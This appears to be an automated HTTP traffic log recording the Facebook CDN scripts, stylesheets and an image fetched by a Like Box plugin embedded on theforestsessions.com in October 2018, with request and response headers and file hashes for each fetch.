Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: 8+gONmXcGuuVEfyIP7tEaA==
X-FB-Debug: DOEgUbUfFfWa8zBgP1PP0UmMo/OJ2mySuIPJuj/aeKrCruPv5jB8nJorCAdc6kCC20rtU+ely6fhdylEBi5AOA==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 35301


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   35301
Md5:    f3e80e3665dc1aeb9511fc883fbb4468
Sha1:   5e3f7d406d649993f9f7a8deac9f8086ca4573e4
Sha256: 67edcf5f467a0cb1125260d422af64a6d8167e26dc7f0bf5afda9a2e065adaf3
                                        
                                            GET /rsrc.php/v3ixpb4/yv/l/en_US/KOgtXCFGj4j.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Thu, 24 Oct 2019 03:09:33 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: 3cdtTQ2IRj1fNkWhfTk9pw==
X-FB-Debug: 2ARoilEaKryQj8r1KjDeeiCs97xjiLfslhuwX8gRevAkA+H9G8fKQslGBKWPddn5/LMCR1BMM4+7QJnHTed3rg==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 129461


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   129461
Md5:    ddc76d4d0d88463d5f3645a17d393da7
Sha1:   2eaeed6e32d7b15543a0618f2567d0cb8432c127
Sha256: 3333a72409c940f25e262713b61b8141ff1d09c5f94a360175031465329a5646
                                        
                                            GET /rsrc.php/v3/ye/r/zp3LHLLSnw1.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Expires: Thu, 24 Oct 2019 00:31:07 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: ZjPae7b8zuUlOz4tQAj3Vg==
X-FB-Debug: hGE/92468TLwZjY5LRFjsgpxK5fSS1JveWs8GdN+242H1tQqyOk2DsBvSakKca0FJQQpgbUQ1NQYKB6/Vq0AZA==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 9363


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   9363
Md5:    6633da7bb6fccee5253b3e2d4008f756
Sha1:   16e9b7083e999a8c27879ecd8a50551fe31f6fdf
Sha256: adc0762989b6504114930b55cea0d0a5646893b65b815edebbb6b2a67d5ca0a7
                                        
                                            GET /v/t1.0-0/p130x130/481609_413177452085259_1053611990_n.png?_nc_cat=102&_nc_ht=scontent.fosl1-1.fna&oh=a45427d237ae0e418c0d9a6354c5ab19&oe=5C41AAFB HTTP/1.1 
Host: scontent.fosl1-1.fna.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         213.52.81.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Last-Modified: Sat, 08 Dec 2012 11:09:54 GMT
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: max-age=1209600, no-transform
Access-Control-Expose-Headers: X-FB-CEC-Video-Limit
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 6419


--- Additional Info ---
Magic:  PNG image, 351 x 130, 8-bit grayscale, non-interlaced
Size:   6419
Md5:    fb3fb7c60d144d78eec575d1004e8b59
Sha1:   ceb6ec5c3cde23ea20a442b0f806691723203fad
Sha256: 8d89460dcec6c53196f162392a8436a96164537c096e75382fac1f637a9320b2
                                        
                                            GET /rsrc.php/v3/yU/r/6neEq6uenGS.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Expires: Wed, 23 Oct 2019 03:17:54 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: Z4BbpGTZgxksoZKVrGjkag==
X-FB-Debug: 9loIzqxPONGRqk4dxhAv+dUAImoNQNJIl1gneljRbu0IItdmngtCnMTA0IqOm2CFUIIxMvMe8wIxId9dsK1x0A==
Date: Wed, 24 Oct 2018 08:49:47 GMT
Connection: keep-alive
Content-Length: 6811


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   6811
Md5:    67805ba464d983192ca19295ac68e46a
Sha1:   fa5b011829bdcf7b7d4f99d77827af67348e2993
Sha256: c767e133c026c120c4507ece6dd8d38b7015c66611b982c8df152f918a3217c5
                                        
                                            GET /rsrc.php/v3iLl54/yy/l/en_US/hCAaRfpRKum.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Mon, 21 Oct 2019 11:32:05 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: BdzxvtjSPnsR20Qirni6Aw==
X-FB-Debug: wrq3OqSQq316z8YbETCQ4NqV3W5UoC9yJliBMke1KU7Vkd+KhU4HrQl9G9CFc8TaQOPp/ziE0ilgyMWJeV34Vg==
Date: Wed, 24 Oct 2018 08:49:47 GMT
Connection: keep-alive
Content-Length: 3303


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3303
Md5:    05dcf1bed8d23e7b11db4422ae78ba03
Sha1:   d13729a2a5f8094cfc3e71599057954bd0397267
Sha256: 9c1fb261e50b38d07fd5bc4cc78e167733662acea0e7aba36c496bc2651d4d99
                                        
                                            GET /rsrc.php/v3/yK/r/iQnjMYa0WMC.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Wed, 23 Oct 2019 22:29:24 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: qWmnYhVxZR2D3+vK99xSxg==
X-FB-Debug: Y14d4KXwV11q6j9kQyaPpo/UiOcOYyTCHW5MrUwf8+U0o4RFUehyxuP/jfjbwLLhT2kiH6Kgr4gpUOWILKGOhQ==
Date: Wed, 24 Oct 2018 08:49:47 GMT
Connection: keep-alive
Content-Length: 194


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   194
Md5:    a969a7621571651d83dfebcaf7dc52c6
Sha1:   82e886ed64d7c8f5e0b4dc0a6216a750a8311018
Sha256: d0cdb8322e902eaba071039fd7aea3f3b741d93a7ed1e402e4d4a3e6f5c2f948
                                        
                                            GET /rsrc.php/v3iJfX4/yL/l/en_US/s6gGy2zdGav.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Mon, 21 Oct 2019 11:32:05 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: v0dGH2UCj5AgJxkbg7pQZg==
X-FB-Debug: 6GBS26dahNCCP1+XVkSjBs0EmxedymtY7Elav6ogEGGz0/NH6iAWF6Z+VLTv43eDy5bQxNoXDBnOQ4FK7TOJ5Q==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 12387


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   12387
Md5:    bf47461f65028f902027191b83ba5066
Sha1:   129ed12a283ad649d026eb2db03d298aef153da0
Sha256: f21cafc77e103220b1cc0c1d2e93e55d7c3d27de7756183aa25d538cb7c36ce5
                                        
                                            GET /rsrc.php/v3ic4p4/yv/l/en_US/nUj5gwBtkGK.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Expires: Wed, 23 Oct 2019 21:09:57 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: gp0z1ZsG4XevvUT/OcKjrw==
X-FB-Debug: 72HVijGAP8t4+7zd6km4sBBIKPlSP3c6+dZpsr4v6olO9QTQZ+/HhGlub6jiKsCsx/Z7pctpymSCSmalnH+R0w==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 24399


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   24399
Md5:    829d33d59b06e177afbd44ff39c2a3af
Sha1:   773cc3e3d536e8319045d0633ee03e4bd0beb4a1
Sha256: 42884729dba9268e4693c1bf6796dbd8ed46bb5373ff7cad20e5e5f3a8707e6c
                                        
                                            GET /rsrc.php/v3/y3/r/PJuv8B2YRG0.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Tue, 22 Oct 2019 20:30:39 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: BAp+2qv4+G5CrThS+G7Wkg==
X-FB-Debug: Y5ZR8XQ8CbWX1h84tZ+52CzLUK6Z7PmfjNNEXDQOj834D3OCYIarZ6BHrFZOR2VtpNu9pDPBx3fQLbWYdkNbVw==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 8077


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   8077
Md5:    040a7edaabf8f86e42ad3852f86ed692
Sha1:   c62ba87fff5adca31d71cc4238226a18a0384ba7
Sha256: bbc386d10a550cd6122bcbe7098311d2f98e6206e9d9210aeb7ac36dd09fb176
                                        
                                            GET /rsrc.php/v3/yI/l/0,cross/sBBTmuFXO1r.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Wed, 23 Oct 2019 18:47:17 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: TgBCohPwpJfiKy/I+G93Hw==
X-FB-Debug: s+SRE/cZzLNVcf14mB+0Yek9kOO7jEwJ8kuGHTjwnm3RLxf/xpqC7E7rJXw4M1yZDdHW+6/WguqicJkuNJCvlw==
Date: Wed, 24 Oct 2018 08:49:47 GMT
Connection: keep-alive
Content-Length: 5250


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   5250
Md5:    4e0042a213f0a497e22b2fc8f86f771f
Sha1:   6c696da951e9f10e44b61aceb3933df7e387a163
Sha256: 5972c0c67cdaf5c6890889a0b6bc7c4eed784d09c5583fdd55853b7dc7f89831
                                        
                                            GET /rsrc.php/v3i2gg4/yD/l/en_US/WaHW6bg_hDT.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Tue, 22 Oct 2019 19:59:12 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: nVfMzajiTkpG/VMPJAcR3g==
X-FB-Debug: BujtWYPuITbk8jUOTJ7E955PJbisa2e2bbu8vM54OI4qiVQqO44HNef+VSzoRv//dQ/QQ06QBuVX8OoKYwD9EA==
Date: Wed, 24 Oct 2018 08:49:47 GMT
Connection: keep-alive
Content-Length: 28523


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   28523
Md5:    9d57cccda8e24e4a46fd530f240711de
Sha1:   2e11a4b806d10f5a5c20d089860aeed8e5563b85
Sha256: efbd928ed1ce803b640855918d1fcf7639feaa758a3ee7128c3347d41606d0ae
                                        
                                            GET /rsrc.php/v3/y7/l/0,cross/h6esaljyXiL.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
